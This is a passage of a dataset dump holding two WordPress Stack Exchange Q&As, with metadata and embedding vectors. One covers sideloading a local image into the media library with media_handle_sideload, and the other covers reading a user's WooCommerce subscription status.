Q: media_handle_upload for local files? I am creating an image on the server and storing it in a tmp folder. I would like to run a php file that takes this image, stores it in the default media directory structure and attaches it to a post while creating appropriate thumbnails. media_handle_upload seems to require an upload POST request to work with. Is it possible to make it work on a local image in a non-POST context? Thanks. A: You want media_handle_sideload() Handles a side-loaded file in the same way as an uploaded file is handled by media_handle_upload(). // Array similar to a $_FILES upload array. $file_array = array( 'name' => 'filename.jpg', 'tmp_name' => 'path/to/filename.jpg', ); // Post ID to attach upload to, 0 for none. $post_id = 0; $attachment_id = media_handle_sideload( $file_array, $post_id );
wordpress
{ "language": "en", "length": 134, "provenance": "stackexchange_00019.jsonl.gz:486635", "question_score": "5", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/305192" }
[ 0.055694580078125, -0.01149749755859375, 0.03961181640625, -0.0242767333984375, -0.0014448165893554688, -0.01806640625, 0.068115234375, -0.002674102783203125, 0.009674072265625, 0.0234222412109375, -0.006256103515625, 0.004673004150390625, 0.0170745849609375, -0.01763916015625, 0.009857177734375, 0.002704620361328125, 0.045684814453125, -0.045806884765625, 0.036224365234375, 0.0152130126953125, -0.006549835205078125, 0.048431396484375, 0.07330322265625, -0.02294921875, 0.00571441650390625, 0.0009431838989257812, 0.00970458984375, 0.0098419189453125, -0.0249786376953125, -0.035858154296875, 0.00754547119140625, 0.0513916015625, 0.01268768310546875, 0.0229034423828125, 0.003448486328125, 0.04888916015625, 0.049072265625, -0.0014200210571289062, 0.0296630859375, 0.02374267578125, 0.015899658203125, -0.00811767578125, 0.034149169921875, 0.01372528076171875, 0.006420135498046875, -0.036163330078125, 0.023773193359375, -0.04241943359375, 0.0246124267578125, 0.035430908203125, -0.0260772705078125, 0.0200653076171875, -0.031158447265625, 0.00811004638671875, 0.0039520263671875, -0.0138702392578125, -0.003253936767578125, 0.0020732879638671875, 0.041534423828125, -0.0289459228515625, -0.055511474609375, -0.0265350341796875, 0.0391845703125, -0.0131683349609375, -0.0013895034790039062, -0.018402099609375, -0.0025081634521484375, 0.023712158203125, -0.0367431640625, -0.0029087066650390625, 0.034759521484375, -0.037872314453125, -0.0006651878356933594, -0.06842041015625, 0.011444091796875, 0.045989990234375, -0.01104736328125, -0.01110076904296875, -0.009735107421875, -0.0079498291015625, -0.038665771484375, -0.039947509765625, -0.054107666015625, -0.032012939453125, 0.035552978515625, 0.02716064453125, -0.01102447509765625, -0.0168914794921875, -0.0079193115234375, 0.040679931640625, -0.023590087890625, -0.027496337890625, 0.05975341796875, 0.027435302734375, -0.047576904296875, 0.0135498046875, -0.00705718994140625, -0.0278167724609375, 0.002384185791015625, -0.00012111663818359375, 0.0275726318359375, -0.04107666015625, 0.00937652587890625, -0.005947113037109375, 0.0283966064453125, 0.028106689453125, -0.01336669921875, -0.07666015625, 0.001678466796875, -0.0116729736328125, -0.022613525390625, 0.0291595458984375, -0.0082550048828125, -0.01149749755859375, 0.00620269775390625, 0.0318603515625, -0.016693115234375, 0.0303955078125, -0.0231781005859375, 0.0112152099609375, -0.022735595703125, 0.00446319580078125, -0.0067596435546875, -0.003108978271484375, 0.052276611328125, 0.032073974609375, -0.0185089111328125, 0.000007867813110351562, 0.007598876953125, 0.036468505859375, -0.031982421875, 0.0029659271240234375, 0.053070068359375, -0.00957489013671875, -0.0010776519775390625, -0.01178741455078125, 0.0201263427734375, -0.04705810546875, 0.007579803466796875, 0.0223388671875, 0.0170440673828125, -0.04437255859375, -0.01384735107421875, 0.030914306640625, -0.0277557373046875, 0.038421630859375, 0.0259246826171875, 0.006198883056640625, -0.034027099609375, -0.081787109375, 0.01340484619140625, -0.01497650146484375, 0.023040771484375, 0.03302001953125, 0.0018644332885742188, -0.00868988037109375, 0.060333251953125, -0.039215087890625, -0.01220703125, -0.048004150390625, 0.032073974609375, 0.005641937255859375, -0.006748199462890625, -0.025238037109375, -0.018798828125, -0.0179290771484375, -0.0435791015625, -0.00339508056640625, 0.0173492431640625, 0.014190673828125, -0.0006461143493652344, -0.031158447265625, -0.00611114501953125, -0.0046844482421875, -0.018768310546875, 0.0077056884765625, 0.00492095947265625, 0.0087127685546875, 0.0242919921875, 0.03662109375, 0.0126190185546875, -0.0253753662109375, 0.04193115234375, -0.001312255859375, -0.0285491943359375, 0.01404571533203125, 0.006038665771484375, 0.05206298828125, 0.0079193115234375, 0.028045654296875, -0.0083160400390625, -0.00400543212890625, -0.041748046875, 0.032379150390625, -0.006378173828125, -0.02264404296875, -0.0008077621459960938, -0.00434112548828125, -0.009765625, -0.0018529891967773438, 0.02117919921875, -0.01259613037109375, 0.02447509765625, 0.00399017333984375, -0.006481170654296875, -0.003620147705078125, -0.0009164810180664062, -0.004367828369140625, 0.001110076904296875, 0.00537872314453125, 0.0131378173828125, 0.00342559814453125, -0.0097808837890625, -0.06512451171875, -0.03094482421875, 0.0199737548828125, -0.0177459716796875, 0.001331329345703125, -0.022674560546875, 0.05419921875, -0.058929443359375, -0.0257720947265625, -0.051544189453125, 0.005512237548828125, 0.0196685791015625, 0.039520263671875, -0.0269775390625, 0.01486968994140625, -0.005405426025390625, 0.0303192138671875, -0.04107666015625, 0.030670166015625, -0.0193023681640625, -0.036224365234375, -0.01493072509765625, -0.0190277099609375, -0.01456451416015625, -0.11285400390625, 0.0263671875, 0.0706787109375, 0.006038665771484375, 0.0200958251953125, 0.02178955078125, 0.08209228515625, 0.06378173828125, 0.0430908203125, 0.03424072265625, 0.01401519775390625, 0.004947662353515625, -0.008575439453125, -0.06854248046875, -0.027191162109375, 0.03399658203125, -0.1241455078125, -0.0062255859375, 0.041961669921875, -0.032440185546875, -0.0194091796875, -0.01001739501953125, 0.0224761962890625, 0.0120849609375, 0.006076812744140625, 0.01032257080078125, 0.0025272369384765625, -0.0020961761474609375, 0.02691650390625, -0.00934600830078125, 0.0012445449829101562, -0.037109375, 0.04095458984375, 0.009490966796875, -0.06329345703125, 0.00514984130859375, 0.0181121826171875, 0.0164337158203125, -0.0213165283203125, -0.04901123046875, -0.0011701583862304688, 0.0274200439453125, 0.00377655029296875, -0.038299560546875, -0.0190582275390625, 0.003513336181640625, -0.0035533905029296875, -0.023895263671875, -0.079833984375, 0.05133056640625, 0.0093231201171875, 0.035858154296875, -0.002338409423828125, 0.027099609375, 0.025146484375, 0.009490966796875, 0.0234222412109375, 0.032623291015625, -0.0236968994140625, 0.034759521484375, -0.003719329833984375, 0.0206451416015625, -0.0029582977294921875, 0.03173828125, 0.06097412109375, -0.032806396484375, 0.0233917236328125, -0.003086090087890625, 0.01239013671875, -0.00839996337890625, 0.03143310546875, 0.01233673095703125, -0.042633056640625, -0.0006222724914550781, -0.0251312255859375, -0.01428985595703125, 0.01055145263671875, -0.0343017578125, -0.0516357421875, -0.0135345458984375, -0.023406982421875, -0.09197998046875, -0.05706787109375, 0.01611328125, -0.07427978515625, 0.005523681640625, 0.004772186279296875, -0.04461669921875, -0.020843505859375, 0.036865234375, 0.0081634521484375, -0.066162109375, 0.011199951171875, 0.0091094970703125, -0.034027099609375, -0.0269775390625, -0.0185394287109375, -0.000029087066650390625, 0.0210723876953125, 0.0079498291015625, 0.047943115234375, 0.007373809814453125, -0.0173797607421875, 0.03045654296875, 0.0236663818359375, -0.00923919677734375, 0.003627777099609375, -0.005321502685546875, 0.0008306503295898438, 0.0246124267578125, 0.00032639503479003906, -0.0059051513671875, 0.03765869140625, -0.0191497802734375, -0.01898193359375, -0.022125244140625, -0.01416778564453125, -0.0247802734375, 0.03656005859375, 0.0240020751953125, -0.047882080078125, -0.01629638671875, -0.06182861328125, -0.00887298583984375, -0.03790283203125, -0.050567626953125, -0.01284027099609375, 0.062255859375, -0.0019502639770507812, -0.049407958984375, -0.00867462158203125, 0.01421356201171875, 0.016693115234375, -0.01934814453125, -0.0106201171875, 0.017486572265625, 0.00803375244140625, 0.01861572265625, 0.00732421875, -0.0019741058349609375, -0.026336669921875, 0.021728515625, -0.00991058349609375, 0.0101776123046875, -0.023681640625, 0.0203399658203125, -0.0755615234375, -0.050689697265625, 0.05755615234375, 0.015655517578125, 0.0352783203125, -0.049224853515625, -0.027435302734375, -0.0209808349609375, 0.08612060546875, -0.02386474609375, -0.016510009765625, -0.015625, 0.01039886474609375, -0.02490234375, -0.03662109375, -0.00614166259765625, -0.003814697265625, -0.0012798309326171875, 0.0143280029296875, 0.0171966552734375, -0.021148681640625, -0.0007615089416503906, -0.03424072265625, 0.0158843994140625, -0.0126190185546875, 0.0311737060546875, -0.010955810546875, 0.033599853515625, -0.00917816162109375, 0.0228118896484375, -0.03179931640625, 0.0017299652099609375, -0.030517578125, -0.1070556640625, -0.0164031982421875, -0.016357421875, 0.08837890625, 0.00537109375, 0.00872039794921875, -0.03070068359375, 0.06304931640625, -0.006801605224609375, -0.0030765533447265625, -0.0187225341796875, -0.005218505859375, -0.01055908203125, 0.0221405029296875, -0.0169525146484375, -0.01131439208984375, 0.00226593017578125, -0.015472412109375, -0.038787841796875, 0.01073455810546875, -0.0295562744140625, -0.0026683807373046875, -0.00262451171875, -0.0333251953125, -0.0265350341796875, -0.01073455810546875, 0.046966552734375, 0.04425048828125, -0.005924224853515625, 0.0181884765625, -0.0205841064453125, -0.03033447265625, 0.0261383056640625, -0.00928497314453125, 0.00016582012176513672, 0.0162353515625, 0.075927734375, -0.00433349609375, -0.01404571533203125, -0.08441162109375, 0.01103973388671875, 0.0092010498046875, -0.021453857421875, 0.0287322998046875, 0.006969451904296875, 0.0031337738037109375, 0.004230499267578125, -0.0233612060546875, 0.01375579833984375, -0.0229339599609375, 0.0660400390625, -0.01611328125, -0.0195159912109375, 0.03338623046875, -0.0082550048828125, -0.027984619140625, -0.02362060546875, -0.0185546875, -0.0016460418701171875, 0.00789642333984375, 0.03924560546875, -0.005771636962890625, 0.015625, -0.030426025390625, -0.054840087890625, 0.000034809112548828125, -0.07275390625, 0.063720703125, 0.0089874267578125, 0.00017440319061279297, 0.033172607421875, 0.0517578125, 0.00693511962890625, 0.01207733154296875, -0.00839996337890625, 0.0211334228515625, 0.0247344970703125, 0.031341552734375, 0.0231781005859375, -0.0007276535034179688, 0.01531982421875, -0.01910400390625, -0.008941650390625, -0.0022830963134765625, -0.0775146484375, 0.014739990234375, 0.007160186767578125, -0.0113525390625, 0.0253753662109375, 0.03436279296875, 0.0172271728515625, 0.006023406982421875, -0.006824493408203125, 0.00010943412780761719, 0.021240234375, -0.0401611328125, 0.019775390625, 0.0242767333984375, -0.01154327392578125, 0.00984954833984375, 0.03631591796875, 0.0136260986328125, 0.003711700439453125, -0.007904052734375, 0.04095458984375, 0.07220458984375, 0.0003001689910888672, -0.00299072265625, 0.0309600830078125, -0.01541900634765625, 0.0022373199462890625, 0.00795745849609375, -0.02911376953125, 0.007099151611328125, 0.0289154052734375, 0.0357666015625, -0.01149749755859375, -0.0262298583984375, 0.017303466796875, -0.0338134765625, -0.01186370849609375, -0.0027027130126953125, -0.05853271484375, -0.07672119140625, -0.006031036376953125, 0.026397705078125, 0.027801513671875, -0.04376220703125, -0.005496978759765625, 0.0239715576171875, -0.0092926025390625, 0.00498199462890625, -0.0212249755859375, -0.02056884765625, -0.0019855499267578125, 0.007640838623046875, 0.0172119140625, -0.0206298828125, -0.038818359375, 0.0284881591796875, 0.0124969482421875, -0.0246429443359375, -0.022125244140625, 0.045135498046875, -0.01256561279296875, 0.0026912689208984375, -0.0215301513671875, 0.005924224853515625, -0.056915283203125, 0.00867462158203125, 0.0234832763671875, 0.009979248046875, 0.0093994140625, -0.0251617431640625, -0.03582763671875, -0.0092620849609375, 0.017364501953125, -0.0228729248046875, -0.0162353515625, -0.0186309814453125, -0.0018148422241210938, 0.00004559755325317383, 0.0196380615234375, 0.0224151611328125, -0.013580322265625, 0.03375244140625, 0.0074462890625, 0.02130126953125, -0.0177001953125, 0.015350341796875, 0.0209503173828125, 0.003032684326171875, 0.01482391357421875, 0.004413604736328125, -0.0120849609375, -0.01308441162109375, -0.0175933837890625, -0.0726318359375, -0.0169830322265625, 0.0301971435546875, -0.0185394287109375, 0.050628662109375, 0.0245513916015625, 0.01229095458984375, 0.015625, -0.0225677490234375, -0.01493072509765625, -0.018768310546875, 0.0295867919921875, -0.0207061767578125, 0.00811767578125, -0.00963592529296875, -0.04095458984375, -0.0085906982421875, -0.001125335693359375, -0.01506805419921875, 0.006717681884765625, -0.0250244140625, -0.006999969482421875, 0.047119140625, 0.0022754669189453125, 0.022216796875, 0.1304931640625, 0.00031280517578125, 0.060272216796875, 0.055877685546875, -0.00585174560546875, 0.031707763671875, 0.0208587646484375, 0.038848876953125, -0.03887939453125, 0.034423828125, -0.00801849365234375, 0.0059051513671875, -0.0018224716186523438, -0.0152587890625, 0.0170745849609375, 0.01000213623046875, 0.0755615234375, -0.01386260986328125, 0.021575927734375, 0.030242919921875, -0.042510986328125, -0.00595855712890625, -0.007205963134765625, 0.0270843505859375, 0.00421905517578125, 0.04132080078125, 0.009796142578125, -0.02276611328125, 0.0081024169921875, -0.0008568763732910156, 0.006683349609375, -0.020172119140625, 0.0090484619140625, -0.0180816650390625, -0.03521728515625, -0.036712646484375, 0.04095458984375, -0.04998779296875, 0.02410888671875, 0.03948974609375, -0.035491943359375, -0.01325225830078125, -0.0167999267578125, -0.01311492919921875, -0.0184326171875, -0.0106964111328125, 0.0203094482421875, -0.008331298828125, 0.0280914306640625, 0.02252197265625, -0.003353118896484375, 0.007366180419921875, -0.01016998291015625, 0.00007367134094238281, -0.00762939453125, -0.0136871337890625, -0.0145416259765625, 0.00597381591796875, -0.0177764892578125, 0.01261138916015625, -0.031890869140625, 0.01160430908203125, 0.0024471282958984375, -0.0252532958984375, 0.0244293212890625, -0.054229736328125, 0.006565093994140625, 0.0243988037109375, 0.01203155517578125, 0.019073486328125, -0.0198822021484375, 0.00565338134765625, -0.03558349609375, -0.0367431640625, -0.0168609619140625, -0.07440185546875, -0.02301025390625, -0.055908203125, -0.0538330078125, 0.07763671875, -0.0517578125, 0.059539794921875, 0.05535888671875, 0.019927978515625, -0.01507568359375, -0.005466461181640625, -0.05389404296875, 0.0220947265625, 0.006000518798828125, 0.035369873046875, -0.0594482421875, -0.002101898193359375, -0.01090240478515625, 0.00882720947265625, 0.05718994140625, 0.00848388671875, -0.03521728515625, -0.026611328125, 0.036834716796875, 0.053924560546875, 0.0033130645751953125, 0.030731201171875, -0.0029926300048828125, -0.0258026123046875, 0.0150604248046875, 0.006977081298828125, 0.0343017578125, -0.01387786865234375, -0.0158538818359375, 0.01444244384765625, 0.02130126953125, 0.031494140625, -0.0238494873046875, 0.0248870849609375, -0.021026611328125, -0.019683837890625, 0.0279693603515625, -0.03424072265625, 0.007038116455078125, 0.0443115234375, -0.00287628173828125, -0.0040740966796875, -0.0211029052734375, -0.020538330078125, 0.03472900390625, -0.024139404296875, 0.01297760009765625, -0.0095367431640625, 0.020965576171875, -0.0025386810302734375, -0.01445770263671875, 0.00665283203125, 0.04345703125, -0.053314208984375, 0.0325927734375, 0.0189056396484375, 0.018157958984375, -0.05389404296875, 0.01280975341796875, 0.050323486328125, 0.049072265625, -0.0394287109375, 0.0033321380615234375, -0.005237579345703125, -0.004497528076171875, 0.003498077392578125, -0.053192138671875, -0.0057830810546875, -0.0227203369140625, -0.007175445556640625, -0.0295562744140625, 0.01219940185546875, 0.0245208740234375, 0.0249786376953125, 0.007659912109375, 0.0308685302734375, -0.066162109375, -0.01157379150390625, -0.0251007080078125, 0.0281982421875, 0.006282806396484375, 0.0228729248046875, -0.02081298828125, 0.01531219482421875, -0.007373809814453125, 0.0017061233520507812, -0.01428985595703125, 0.0338134765625, 0.0009512901306152344, 0.00429534912109375, -0.035064697265625, -0.06317138671875, 0.027252197265625, 0.042755126953125, 0.052032470703125, 0.07879638671875, 0.07061767578125, 0.0291900634765625, -0.0073699951171875, 0.031890869140625, 0.05999755859375, -0.034149169921875, -0.004489898681640625, -0.0533447265625, 0.0014505386352539062, -0.022979736328125, -0.01007080078125, -0.01280975341796875, 0.0057220458984375, 0.000022530555725097656, -0.04925537109375, 0.0595703125, -0.028106689453125, -0.042388916015625, 0.06390380859375, -0.03924560546875, 0.1229248046875, -0.0311126708984375, -0.005115509033203125, -0.0162811279296875, 0.0214996337890625, -0.01357269287109375, -0.0008411407470703125, 0.0309906005859375, 0.00327301025390625, 0.021453857421875, 0.03436279296875, -0.0042724609375, 0.00531005859375, -0.0186614990234375, 0.0267791748046875, -0.044525146484375, 0.006443023681640625, -0.0092620849609375, -0.01678466796875, -0.014892578125, -0.0260467529296875, 0.07025146484375, 0.0186004638671875, 0.05743408203125, -0.040130615234375, 0.0379638671875, 0.0193328857421875, 0.0293121337890625, -0.03009033203125, 0.03875732421875, -0.043304443359375, 0.0210418701171875, 0.025177001953125, -0.0194091796875, 0.057281494140625, 0.014495849609375, 0.01192474365234375, -0.042022705078125, -0.061126708984375, 0.0043792724609375, 0.0260772705078125, 0.057952880859375, 0.0188140869140625, -0.02557373046875, -0.018829345703125, -0.0207366943359375, -0.017913818359375, 0.026519775390625, 0.00702667236328125, 0.0017862319946289062, 0.0251617431640625, -0.0240936279296875, -0.050750732421875, 0.034637451171875, -0.0673828125, 0.036895751953125, 0.027862548828125, 0.0088043212890625, -0.053466796875, -0.01334381103515625, -0.01529693603515625, -0.019866943359375, 0.00933837890625, 0.051483154296875, -0.01971435546875, 0.002094268798828125, 0.0120086669921875, 0.01538848876953125, 0.047882080078125, -0.0028591156005859375, -0.0007176399230957031, 0.006771087646484375, 0.003780364990234375, -0.00557708740234375, -0.0251312255859375, -0.006816864013671875, -0.08447265625, 0.0084991455078125, 0.037994384765625, -0.044647216796875, 0.025787353515625, -0.03265380859375, -0.01082611083984375, 0.024139404296875, -0.006214141845703125, -0.0244293212890625, -0.01641845703125, -0.006839752197265625, 0.038818359375, -0.009307861328125, -0.001110076904296875, 0.006259918212890625, 0.017303466796875, -0.059051513671875, -0.0557861328125, -0.029266357421875, 0.021514892578125, -0.02618408203125, 0.043609619140625, 0.03472900390625, -0.03338623046875, -0.003551483154296875, 0.082763671875, 0.058258056640625, 0.13330078125, -0.027587890625, -0.049041748046875, -0.0216217041015625, -0.0127716064453125, 0.0171966552734375, -0.0157623291015625, 0.01702880859375, -0.064208984375, -0.01776123046875, -0.03924560546875, 0.013824462890625, 0.0275115966796875, -0.03485107421875, -0.061279296875, -0.0290679931640625, 0.00010079145431518555, -0.056884765625, -0.007965087890625, 0.0303802490234375, 0.00347900390625, 0.020660400390625, 0.01019287109375, -0.032562255859375, -0.00719451904296875, -0.02484130859375, -0.00815582275390625, -0.00559234619140625, 0.035430908203125, -0.035247802734375, -0.0283660888671875, -0.01285552978515625, -0.003276824951171875, -0.0232086181640625, 0.040313720703125, -0.02740478515625, 0.05828857421875, 0.05792236328125, -0.023651123046875, 0.04388427734375, 0.01128387451171875, -0.0295867919921875, -0.021575927734375, -0.00707244873046875, -0.04107666015625, 0.005687713623046875, 0.1051025390625, 0.06549072265625, 0.041290283203125, -0.03662109375, 0.0008625984191894531, -0.038543701171875, -0.0308990478515625, -0.00836181640625, 0.0173187255859375, -0.056121826171875, 0.005126953125, 0.0162200927734375, -0.033538818359375, -0.0014848709106445312, 0.005199432373046875, -0.0355224609375, 0.01255035400390625, 0.022918701171875, -0.0281982421875, -0.015869140625, -0.005046844482421875, 0.1046142578125, -0.04388427734375, 0.0248870849609375, 0.0135040283203125, 0.01364898681640625, 0.062164306640625, 0.026947021484375, 0.02740478515625, 0.0267333984375, -0.0003714561462402344, 0.01458740234375, 0.04327392578125, -0.030426025390625, 0.00589752197265625, -0.0038433074951171875, -0.00513458251953125, 0.01009368896484375, -0.00286102294921875, 0.0108489990234375, 0.01702880859375, 0.009552001953125, -0.007137298583984375, 0.042877197265625, -0.03363037109375, -0.048248291015625, -0.037872314453125, 0.0289764404296875, -0.039886474609375, 0.02374267578125, 0.00714874267578125, -0.03399658203125, 0.016571044921875, 0.00603485107421875, -0.02178955078125, -0.0225372314453125, -0.01068878173828125, 0.01560211181640625, -0.0204010009765625, 0.012298583984375 ]
88f070e3e2ed5c6f9b64fffee8298451cc5462e7
Wordpress Stackexchange Q: Correct function to get the user's latest Woocommerce Subscription? I've a members' only subscription site, where the member can only have one active subscription, and I need to be able to get the status of the subscription. I've been through all the documentation and found the wcs_get_users_subscriptions() function, which returns an array of all subscription products for the given user, in reverse date order (ie, latest is always first). I settled on this code which, whilst it works, I know is absolutely the wrong way to do it: $subs = wcs_get_users_subscriptions( $user_id ); $subs = (object) array_shift( $subs ); $subs = (object) $subs->data; $return = $subs->status; Does anyone know the right way? A: use this code $users_subscriptions = wcs_get_users_subscriptions($user_id); retrieve the data using foreach foreach ($users_subscriptions as $subscription){ if ($subscription->has_status(array('active'))) { echo $subscription->get_id(); } } There is some function to access subscription data. like get_id(),get_date('end') (to get last date of subscription ). I hope its help you well.
Q: Correct function to get the user's latest Woocommerce Subscription? I've a members' only subscription site, where the member can only have one active subscription, and I need to be able to get the status of the subscription. I've been through all the documentation and found the wcs_get_users_subscriptions() function, which returns an array of all subscription products for the given user, in reverse date order (ie, latest is always first). I settled on this code which, whilst it works, I know is absolutely the wrong way to do it: $subs = wcs_get_users_subscriptions( $user_id ); $subs = (object) array_shift( $subs ); $subs = (object) $subs->data; $return = $subs->status; Does anyone know the right way? A: use this code $users_subscriptions = wcs_get_users_subscriptions($user_id); retrieve the data using foreach foreach ($users_subscriptions as $subscription){ if ($subscription->has_status(array('active'))) { echo $subscription->get_id(); } } There is some function to access subscription data. like get_id(),get_date('end') (to get last date of subscription ). I hope its help you well.
wordpress
{ "language": "en", "length": 159, "provenance": "stackexchange_00019.jsonl.gz:486693", "question_score": "8", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/305365" }
[ 0.0173187255859375, -0.02703857421875, -0.04254150390625, -0.04461669921875, -0.0096435546875, -0.0247802734375, -0.01424407958984375, 0.0007443428039550781, 0.0633544921875, 0.042938232421875, -0.026031494140625, -0.05035400390625, 0.00006371736526489258, 0.0011196136474609375, -0.09246826171875, -0.04315185546875, 0.06585693359375, -0.050018310546875, 0.00003337860107421875, 0.0133514404296875, -0.055419921875, 0.06927490234375, 0.02349853515625, 0.0797119140625, -0.027130126953125, -0.0033435821533203125, 0.10394287109375, -0.0252838134765625, 0.01087188720703125, -0.02886962890625, -0.0047149658203125, 0.0038661956787109375, 0.0114898681640625, -0.010284423828125, 0.021942138671875, 0.0293731689453125, 0.03173828125, -0.0002961158752441406, 0.03424072265625, -0.001789093017578125, 0.033172607421875, -0.004848480224609375, -0.04498291015625, -0.01483154296875, -0.02239990234375, -0.06109619140625, 0.042755126953125, -0.0272979736328125, 0.00516510009765625, 0.09326171875, 0.038299560546875, -0.039215087890625, 0.0174102783203125, 0.036407470703125, -0.0216827392578125, -0.03778076171875, -0.02520751953125, 0.0750732421875, 0.038543701171875, -0.0037174224853515625, -0.040374755859375, 0.0118560791015625, -0.00025343894958496094, -0.04266357421875, -0.006473541259765625, 0.0048370361328125, 0.03582763671875, 0.02081298828125, -0.038482666015625, -0.03173828125, 0.01268768310546875, 0.0012607574462890625, 0.0005507469177246094, 0.031982421875, -0.02001953125, -0.06549072265625, -0.014617919921875, -0.06488037109375, 0.043243408203125, 0.025054931640625, -0.016204833984375, 0.00804901123046875, -0.07568359375, 0.0123443603515625, -0.006908416748046875, 0.0369873046875, -0.01296234130859375, -0.011749267578125, -0.0077667236328125, -0.0155029296875, -0.0302734375, 0.00798797607421875, 0.0181732177734375, -0.006954193115234375, -0.043975830078125, -0.01453399658203125, 0.034027099609375, 0.078125, -0.0341796875, -0.042938232421875, 0.00641632080078125, -0.0184783935546875, -0.061279296875, -0.01183319091796875, -0.007747650146484375, 0.009796142578125, -0.021942138671875, -0.0148773193359375, 0.00981903076171875, 0.05224609375, -0.0125274658203125, -0.0265350341796875, 0.0275726318359375, -0.049591064453125, 0.00945281982421875, -0.00923919677734375, -0.0059661865234375, 0.029815673828125, 0.038604736328125, -0.036285400390625, 0.01451873779296875, 0.04925537109375, -0.060638427734375, -0.024688720703125, -0.02783203125, -0.042388916015625, -0.0017976760864257812, 0.0102996826171875, -0.009307861328125, 0.015411376953125, -0.039581298828125, 0.01251983642578125, 0.047515869140625, 0.0285797119140625, 0.0112762451171875, -0.0090789794921875, 0.0318603515625, 0.01247406005859375, -0.0012750625610351562, 0.031646728515625, -0.0015773773193359375, -0.014801025390625, -0.0032958984375, -0.016387939453125, -0.007068634033203125, -0.0203704833984375, 0.00838470458984375, 0.0241241455078125, 0.016265869140625, 0.0408935546875, -0.04364013671875, 0.038299560546875, 0.01194000244140625, 0.00772857666015625, -0.00646209716796875, 0.0204925537109375, -0.019317626953125, 0.00800323486328125, 0.00023174285888671875, 0.0084075927734375, 0.00400543212890625, -0.0229339599609375, -0.0022907257080078125, -0.0304718017578125, -0.05267333984375, 0.026641845703125, -0.0333251953125, -0.017486572265625, 0.02777099609375, 0.07550048828125, -0.012298583984375, 0.01467132568359375, 0.047027587890625, 0.0189361572265625, -0.0291595458984375, -0.0025119781494140625, -0.01493072509765625, 0.047576904296875, 0.03240966796875, -0.033111572265625, -0.03729248046875, -0.0457763671875, 0.0693359375, -0.025848388671875, -0.011444091796875, 0.009368896484375, 0.01025390625, 0.03204345703125, 0.0202789306640625, 0.022064208984375, -0.0267181396484375, 0.0163726806640625, -0.027740478515625, 0.0147705078125, -0.01494598388671875, -0.0293121337890625, 0.034393310546875, 0.003681182861328125, -0.004634857177734375, 0.004116058349609375, 0.029876708984375, 0.0119476318359375, 0.013397216796875, -0.03192138671875, -0.053436279296875, 0.00890350341796875, -0.0271453857421875, 0.046630859375, -0.037017822265625, 0.01140594482421875, 0.022796630859375, -0.0125885009765625, -0.048675537109375, 0.03033447265625, 0.0191650390625, -0.01824951171875, -0.042999267578125, 0.07135009765625, -0.0171966552734375, 0.06207275390625, -0.0286407470703125, -0.03533935546875, 0.008148193359375, 0.002834320068359375, 0.0159149169921875, 0.00395965576171875, 0.0031642913818359375, 0.00788116455078125, 0.042022705078125, 0.04583740234375, -0.0117645263671875, -0.03106689453125, 0.01505279541015625, -0.006927490234375, -0.03302001953125, 0.05059814453125, 0.03472900390625, 0.01366424560546875, -0.0338134765625, 0.0137786865234375, 0.0384521484375, 0.018402099609375, 0.0222930908203125, 0.01422119140625, 0.0826416015625, -0.0167388916015625, 0.01080322265625, -0.00672149658203125, -0.01155853271484375, 0.046905517578125, 0.01444244384765625, 0.0223846435546875, -0.021087646484375, 0.005596160888671875, 0.0016317367553710938, 0.045501708984375, 0.01082611083984375, 0.0015716552734375, 0.0040283203125, 0.0194244384765625, 0.00032448768615722656, -0.0159759521484375, -0.0245208740234375, -0.00281524658203125, -0.0011997222900390625, 0.00075531005859375, 0.01033782958984375, 0.0221099853515625, 0.0012941360473632812, -0.01666259765625, -0.000873565673828125, -0.039306640625, -0.0015392303466796875, 0.0292816162109375, 0.03826904296875, 0.0024051666259765625, -0.0155029296875, -0.0287628173828125, 0.0163421630859375, 0.020477294921875, 0.022369384765625, 0.0552978515625, 0.055908203125, -0.00699615478515625, 0.004459381103515625, 0.019256591796875, 0.0193023681640625, 0.02154541015625, -0.0101776123046875, -0.000034689903259277344, 0.036651611328125, 0.0207366943359375, -0.037811279296875, 0.040130615234375, -0.054901123046875, -0.00506591796875, 0.0303802490234375, 0.003326416015625, 0.020477294921875, -0.01275634765625, 0.004329681396484375, 0.033447265625, 0.01107025146484375, -0.01190948486328125, 0.0131683349609375, -0.051361083984375, 0.0157623291015625, -0.01690673828125, -0.0194854736328125, 0.0304718017578125, -0.09747314453125, 0.028778076171875, 0.01508331298828125, 0.04571533203125, -0.0229339599609375, -0.039154052734375, -0.0198211669921875, 0.01386260986328125, -0.050933837890625, -0.0404052734375, -0.070068359375, -0.06475830078125, -0.01459503173828125, 0.006500244140625, -0.024322509765625, 0.0299530029296875, 0.029998779296875, 0.02459716796875, -0.04278564453125, -0.00978851318359375, -0.06683349609375, -0.04974365234375, -0.04119873046875, 0.052886962890625, -0.0175018310546875, 0.00820159912109375, -0.0034275054931640625, 0.034576416015625, -0.005756378173828125, -0.03155517578125, 0.00008732080459594727, 0.044403076171875, -0.00603485107421875, -0.0225830078125, -0.01094818115234375, -0.01491546630859375, -0.0176544189453125, 0.00970458984375, 0.0204620361328125, 0.00023126602172851562, -0.01149749755859375, 0.0021076202392578125, -0.00824737548828125, 0.018096923828125, 0.0285797119140625, -0.005924224853515625, -0.0125732421875, 0.052215576171875, 0.040252685546875, -0.006366729736328125, -0.00542449951171875, 0.0088653564453125, -0.0143585205078125, 0.047698974609375, -0.004825592041015625, -0.012908935546875, 0.0180511474609375, 0.0201416015625, -0.0154571533203125, -0.004817962646484375, 0.014678955078125, -0.003429412841796875, -0.006256103515625, -0.0182952880859375, -0.0296173095703125, -0.003726959228515625, 0.07763671875, 0.0086517333984375, 0.0205535888671875, 0.038909912109375, 0.0189056396484375, -0.0047760009765625, -0.0164337158203125, -0.0733642578125, -0.049102783203125, 0.060455322265625, -0.019989013671875, 0.014984130859375, -0.07025146484375, -0.040130615234375, -0.03558349609375, 0.10882568359375, -0.0028743743896484375, -0.020904541015625, 0.030548095703125, 0.01338958740234375, -0.03826904296875, -0.0107421875, -0.05267333984375, 0.00366973876953125, -0.022216796875, -0.004787445068359375, -0.0107421875, -0.0132598876953125, -0.00928497314453125, -0.041107177734375, -0.01302337646484375, -0.0203094482421875, 0.029571533203125, -0.047149658203125, -0.003978729248046875, 0.053955078125, -0.02398681640625, 0.018096923828125, -0.038177490234375, -0.03656005859375, -0.0204010009765625, -0.0142822265625, 0.03631591796875, 0.0031223297119140625, -0.0027599334716796875, -0.0533447265625, -0.002841949462890625, 